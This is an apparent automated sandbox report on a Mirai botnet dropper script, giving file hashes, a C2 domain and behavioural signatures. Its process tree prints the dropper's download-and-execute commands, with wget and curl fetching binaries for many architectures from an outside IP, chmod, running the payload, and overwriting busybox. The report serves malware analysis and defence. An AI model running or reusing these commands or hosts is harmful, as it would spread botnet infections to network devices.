Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-02-2025 03:29

General

  • Target

    983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh

  • Size

    1KB

  • MD5

    b23395e3dbaff4ec82d7549849c16efe

  • SHA1

    16b58b82874819194fe0d90a8b52d48a4af6475e

  • SHA256

    983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766

  • SHA512

    accc54fbcdc0096f88da0fe3625b1b39d8bbd1f69ab0a035300809a3a558aaf94dd9b8d3b247fb411ec1f65a06f3f7e69382dc1a8691cbc3c407badb89193a9c

Malware Config

Extracted

Family

mirai

C2

panel.daudau.org

Extracted

Family

mirai

C2

panel.daudau.org

Extracted

Family

mirai

C2

panel.daudau.org

Extracted

Family

mirai

C2

panel.daudau.org

Extracted

Family

mirai

C2

panel.daudau.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (28668) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh
    /tmp/983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:666
    • /usr/bin/wget
      wget http://195.177.95.92/x86
      2⤵
      • Writes file to tmp directory
      PID:670
    • /usr/bin/curl
      curl -O http://195.177.95.92/x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:687
    • /bin/cat
      cat x86
      2⤵
        PID:698
      • /bin/chmod
        chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86
        2⤵
        • File and Directory Permissions Modification
        PID:699
      • /tmp/RUN
        ./RUN HTTP
        2⤵
          PID:700
        • /usr/bin/wget
          wget http://195.177.95.92/mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:702
        • /usr/bin/curl
          curl -O http://195.177.95.92/mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:703
        • /bin/cat
          cat mips
          2⤵
          • System Network Configuration Discovery
          PID:704
        • /bin/chmod
          chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh mips RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86
          2⤵
          • File and Directory Permissions Modification
          PID:705
        • /tmp/RUN
          ./RUN HTTP
          2⤵
            PID:707
          • /usr/bin/wget
            wget http://195.177.95.92/arc
            2⤵
              PID:710
            • /usr/bin/curl
              curl -O http://195.177.95.92/arc
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:715
            • /bin/cat
              cat arc
              2⤵
                PID:720
              • /bin/chmod
                chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc mips RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86
                2⤵
                • File and Directory Permissions Modification
                PID:721
              • /tmp/RUN
                ./RUN HTTP
                2⤵
                  PID:722
                • /usr/bin/wget
                  wget http://195.177.95.92/x86_64
                  2⤵
                  • Writes file to tmp directory
                  PID:724
                • /usr/bin/curl
                  curl -O http://195.177.95.92/x86_64
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:730
                • /bin/cat
                  cat x86_64
                  2⤵
                    PID:737
                  • /bin/chmod
                    chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc mips RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86 x86_64
                    2⤵
                    • File and Directory Permissions Modification
                    PID:738
                  • /tmp/RUN
                    ./RUN HTTP
                    2⤵
                      PID:739
                    • /usr/bin/wget
                      wget http://195.177.95.92/mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:741
                    • /usr/bin/curl
                      curl -O http://195.177.95.92/mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:750
                    • /bin/cat
                      cat mpsl
                      2⤵
                        PID:763
                      • /bin/chmod
                        chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc mips mpsl RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86 x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:765
                      • /tmp/RUN
                        ./RUN HTTP
                        2⤵
                          PID:766
                        • /usr/bin/wget
                          wget http://195.177.95.92/arm
                          2⤵
                          • Writes file to tmp directory
                          PID:768
                        • /usr/bin/curl
                          curl -O http://195.177.95.92/arm
                          2⤵
                          • Checks CPU configuration
                          • Writes file to tmp directory
                          PID:772
                        • /bin/cat
                          cat arm
                          2⤵
                            PID:774
                          • /bin/chmod
                            chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm mips mpsl RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86 x86_64
                            2⤵
                            • File and Directory Permissions Modification
                            PID:775
                          • /tmp/RUN
                            ./RUN HTTP
                            2⤵
                              PID:776
                            • /usr/bin/wget
                              wget http://195.177.95.92/arm5
                              2⤵
                              • Writes file to tmp directory
                              PID:777
                            • /usr/bin/curl
                              curl -O http://195.177.95.92/arm5
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:782
                            • /bin/cat
                              cat arm5
                              2⤵
                                PID:789
                              • /bin/chmod
                                chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm arm5 mips mpsl RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86 x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:790
                              • /tmp/RUN
                                ./RUN HTTP
                                2⤵
                                  PID:792
                                • /usr/bin/wget
                                  wget http://195.177.95.92/arm6
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:793
                                • /usr/bin/curl
                                  curl -O http://195.177.95.92/arm6
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:798
                                • /bin/cat
                                  cat arm6
                                  2⤵
                                    PID:808
                                  • /bin/chmod
                                    chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm arm5 arm6 mips mpsl RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86 x86_64
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:809
                                  • /tmp/RUN
                                    ./RUN HTTP
                                    2⤵
                                      PID:810
                                    • /usr/bin/wget
                                      wget http://195.177.95.92/arm7
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:811
                                    • /usr/bin/curl
                                      curl -O http://195.177.95.92/arm7
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:818
                                    • /bin/cat
                                      cat arm7
                                      2⤵
                                        PID:819
                                      • /bin/chmod
                                        chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm arm5 arm6 arm7 mips mpsl RUN systemd-private-30bdf15447424eac9e960936d0a07f4a-systemd-timedated.service-dd6VLz x86 x86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:820
                                      • /tmp/RUN
                                        ./RUN HTTP
                                        2⤵
                                        • Changes its process name
                                        • Reads runtime system information
                                        PID:821
                                        • /bin/sh
                                          /bin/sh -c "rm -rf bin/busybox && mkdir bin; >bin/busybox && mv ./RUN bin/busybox; chmod 777 bin/busybox"
                                          3⤵
                                          • File and Directory Permissions Modification
                                          • Writes file to tmp directory
                                          PID:822
                                          • /bin/rm
                                            rm -rf bin/busybox
                                            4⤵
                                              PID:823
                                            • /bin/mkdir
                                              mkdir bin
                                              4⤵
                                              • Reads runtime system information
                                              PID:824
                                            • /bin/mv
                                              mv ./RUN bin/busybox
                                              4⤵
                                                PID:825
                                              • /bin/chmod
                                                chmod 777 bin/busybox
                                                4⤵
                                                • File and Directory Permissions Modification
                                                PID:826
                                          • /usr/bin/wget
                                            wget http://195.177.95.92/ppc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:828
                                          • /usr/bin/curl
                                            curl -O http://195.177.95.92/ppc
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:831
                                          • /bin/cat
                                            cat ppc
                                            2⤵
                                              PID:835
                                            • /bin/chmod
                                              chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm arm5 arm6 arm7 bin mips mpsl ppc RUN x86 x86_64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:836
                                            • /tmp/RUN
                                              ./RUN HTTP
                                              2⤵
                                                PID:837
                                              • /usr/bin/wget
                                                wget http://195.177.95.92/spc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:839
                                              • /usr/bin/curl
                                                curl -O http://195.177.95.92/spc
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:840
                                              • /bin/cat
                                                cat spc
                                                2⤵
                                                  PID:841
                                                • /bin/chmod
                                                  chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm arm5 arm6 arm7 bin mips mpsl ppc RUN spc x86 x86_64
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:842
                                                • /tmp/RUN
                                                  ./RUN HTTP
                                                  2⤵
                                                    PID:843
                                                  • /usr/bin/wget
                                                    wget http://195.177.95.92/m68k
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:845
                                                  • /usr/bin/curl
                                                    curl -O http://195.177.95.92/m68k
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:848
                                                  • /bin/cat
                                                    cat m68k
                                                    2⤵
                                                      PID:849
                                                    • /bin/chmod
                                                      chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm arm5 arm6 arm7 bin m68k mips mpsl ppc RUN spc x86 x86_64
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:850
                                                    • /tmp/RUN
                                                      ./RUN HTTP
                                                      2⤵
                                                        PID:851
                                                      • /usr/bin/wget
                                                        wget http://195.177.95.92/sh4
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:853
                                                      • /usr/bin/curl
                                                        curl -O http://195.177.95.92/sh4
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:854
                                                      • /bin/cat
                                                        cat sh4
                                                        2⤵
                                                          PID:855
                                                        • /bin/chmod
                                                          chmod +x 983236f0e5c08fc2af13b85407a482226ad4d5338ebd24fa436ef4e8ffd6e766.sh arc arm arm5 arm6 arm7 bin m68k mips mpsl ppc RUN sh4 spc x86 x86_64
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:856
                                                        • /tmp/RUN
                                                          ./RUN HTTP
                                                          2⤵
                                                            PID:857

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • /tmp/RUN

                                                          Filesize

                                                          147KB

                                                          MD5

                                                          e9978d62916874c9ac7a36dc93decb08

                                                          SHA1

                                                          8881dc6bcd1e7da5b58ce7f5f62d750c038d7b62

                                                          SHA256

                                                          271691eee0143b29170457d17904d0f7bc3ea03cd1b76cd46a1adcae34b99df5

                                                          SHA512

                                                          cf90c22d12826f289ecbddd479154625e7f27e9c435eba9a9d12d2a32d2f98b5e4617e4cb1417d54838cd075105e1ea6492d46e793228df44020e25f4afa5054

                                                        • /tmp/arc

                                                          Filesize

                                                          201B

                                                          MD5

                                                          154506d20dcd8502b3820a2912b697e9

                                                          SHA1

                                                          55c207a1c0aeabc6df6d0307f11a03137139d701

                                                          SHA256

                                                          5937f6d6dadc5b9c5b3ad04297d3838d6c038ace39d0021b3055f09dd31d4c5c

                                                          SHA512

                                                          aeeb083e7bc6e5e8701572f91a5731148f1b93ebe3ab2ebd6d10526f08771601d6f79450f22a5cb03b2d05e54a4bb5fde176d541a6cbc5893d64f9b8621c0112

                                                        • /tmp/arm

                                                          Filesize

                                                          77KB

                                                          MD5

                                                          614e3ea2de08f0ff84404e353ac198d4

                                                          SHA1

                                                          9998407bcb0f11a0321923beaaad849dbef7380b

                                                          SHA256

                                                          350071663640bd83f732a7831ce83a6073dc9b2b66b01bbc35a9224de7e500f3

                                                          SHA512

                                                          d43d5b9f6433940f9965fc4d9fcb2d1bb0406e157c5d781b27e73d69ceac5054b6155eebdb3a76a0daaf5e06dd283a284709bf7afca1118967b834a4d3f5b716

                                                        • /tmp/arm5

                                                          Filesize

                                                          37KB

                                                          MD5

                                                          c5936daaabd1f85eae6ed7247937cbba

                                                          SHA1

                                                          b04a538c0d78773c45122d1fb78fc648a72ed3a6

                                                          SHA256

                                                          a80d462fb00b6e58df84df935721e8a9968a49682b7e8e39e7dd58782f357bc4

                                                          SHA512

                                                          645bbf8c2d716b5088f173080994532cb8cc7b42830e2f9543eb3b93eafc2944d22a1a349eeec06269043d15225483500118e71a52cc4059a6539e62574ea88f

                                                        • /tmp/arm6

                                                          Filesize

                                                          77KB

                                                          MD5

                                                          6afff6df8bd34bd932fd4460d27ff596

                                                          SHA1

                                                          5ab482f8c2c3b7fbf966ee7ef4c1c5fb12ab30e6

                                                          SHA256

                                                          a051efe0398ed3dd54b355c9bf6988775789b7a44c6c43beb49477a55adecf47

                                                          SHA512

                                                          ed281417d50c59e3bafa4f307c4e4cc7fdda680f5661b86af58c8c118b21dad0f96d0cfe787305164717dab065fa9fc0a5b6adf9cf60679a0d317dd03494c4c8

                                                        • /tmp/arm7

                                                          Filesize

                                                          147KB

                                                          MD5

                                                          86f64e2a1bd68466e58cd037868444f4

                                                          SHA1

                                                          95a632490622ff72535867b932da7e1f08491043

                                                          SHA256

                                                          eadbbb36408913eb2970db1e2c3b1e9198b91debef04ab33426bb12e60a0b0b3

                                                          SHA512

                                                          f2c3d16d24155b7c634fd308fd0c79396e586dd75096a4d9958af772eb203c4f459c4c8c2eb49854fd2a3cb14b779537c08c64d0b00f0c91d818f091d9bff707

                                                        • /tmp/m68k

                                                          Filesize

                                                          83KB

                                                          MD5

                                                          861abadb068b8c285222d17f16d6a27e

                                                          SHA1

                                                          cb36e075b9c7e13c047eb1e03c19d158d3988dfd

                                                          SHA256

                                                          e7230e9566dd2d64946893fcd29857c7c142d138d35754ef81e86a84a603c459

                                                          SHA512

                                                          a816b8ee3135ced87795c12e5ece71d1ba39bcd199e5e5e68f97dc9222dbfbde2b317fae3feb0123ac69e281c96a1db0f42ac25573a1d22b47141012d3b9dff8

                                                        • /tmp/mips

                                                          Filesize

                                                          98KB

                                                          MD5

                                                          7dc512a0e68a430507752b52dc94639a

                                                          SHA1

                                                          4a87f5bb155c5a3d7acf2fd8e2390d5f6e413ca4

                                                          SHA256

                                                          42998b4e688a28dffcddcfdf19b8ca4cb186791aabefe751ac8a841f69d12d58

                                                          SHA512

                                                          3ebb01fa3c25ef2ebda89105b889021b55b7b13bf1c02779d0fd56e328feea1580fb82c08f7596b9cc35b6dc4f46eb3f8e507f3f98306c7e16b6cc825dfdcff2

                                                        • /tmp/mpsl

                                                          Filesize

                                                          98KB

                                                          MD5

                                                          f7259422c7a0531c4412a6b5dfa4bcb4

                                                          SHA1

                                                          5fb6f337172ad0627dc52c76fafefc2e169acd69

                                                          SHA256

                                                          3aeb3e56623218ec1a8a98fceab3195c1d6717aa40969bdad7f1a5438c5d8b4e

                                                          SHA512

                                                          13c0750e2f8a7c1cda5f739feebc74ee84bc98f6d1d6d7abfe5b2329c7cf0861c665e21bc06bb5949edf3b7f7d60641bff64f66e160ff9f273346a5775c0b170

                                                        • /tmp/ppc

                                                          Filesize

                                                          73KB

                                                          MD5

                                                          bb56c406ee7eec935cc2880ab3101d58

                                                          SHA1

                                                          46c6d3f1b46bf49a91887d95862b7c02b561c4b5

                                                          SHA256

                                                          69e0c23c7594e0f6d612454f7cdb63809a8e5cd4e79341888032faba461a43fe

                                                          SHA512

                                                          191f5dfaff37e258fea4bfad2215d606cc31a4c692a372f452b7dfb97f4eb74cda5d81f03efb3975e78146ada5de45cc418e312a240796a9d4e7f9d450f0de78

                                                        • /tmp/sh4

                                                          Filesize

                                                          65KB

                                                          MD5

                                                          2ed0ca7f7309017adf936a2532c6aa6c

                                                          SHA1

                                                          bf05a93d2cf995b5772561433520557a358ea14d

                                                          SHA256

                                                          9252ce86c10e9f122f4d2fdf0927b1209a51eaf52cc4382f8c33ebf06c7b87d7

                                                          SHA512

                                                          ee6235895ca18ee11b5baea06ce120c193c4aff4211641bb2da34cd1066bebb4c790bd352f74eb6ae334aaebf3aebdab254016357245dc915136c7d9600d53ec

                                                        • /tmp/spc

                                                          Filesize

                                                          81KB

                                                          MD5

                                                          5d14d4662af8e51641ee8cf4a7bda71f

                                                          SHA1

                                                          85113889a52e32583f939044c8af991f8e643420

                                                          SHA256

                                                          c9b523f1793046f6c852360a2d128725dc960e8b9392a33f64bca087ac88ac55

                                                          SHA512

                                                          12eb08fc089101bf4c9919e0200bb25df275a7d59c279f78dba5e578500c5f273a9422997f1a54936e5ab28b352ffe7c8c99f2d2ac974311c51a2a79b2a39f3b

                                                        • /tmp/x86

                                                          Filesize

                                                          54KB

                                                          MD5

                                                          b180c519dee8619995c2a2acedc7d2b4

                                                          SHA1

                                                          95b340b868007f0bf338aa2ac34b33c9caa7d9a8

                                                          SHA256

                                                          deb05b353c51481cba1eb6acfac01d4e4a1e0bf687f8ad6bb54c51b2e0b04e2c

                                                          SHA512

                                                          633737009b3a028f4ef073ce7393671d4ff7c5f26b2e87ad48ce10dafd502cd91520f82f803331b949c1eeecdcb0daaf09e6e618382fe5a470c6d9f99de2b728

                                                        • /tmp/x86_64

                                                          Filesize

                                                          61KB

                                                          MD5

                                                          0c06ab0b65383a0c239a326d08af4e24

                                                          SHA1

                                                          093b3755770e5d8342058a602521e29a7f855a7a

                                                          SHA256

                                                          bf50c8b537df146fbb963448a4b0267f43e9632c47fe866a3ac16ed5a4195fc0

                                                          SHA512

                                                          6275685e0b9409a230de44154e1b481b858995a36bfd67bf9ddcb71abadda34c3e6642317d98b221ed02b6559c7c0830339ca4bad6434d13e5e1d1c580a222c3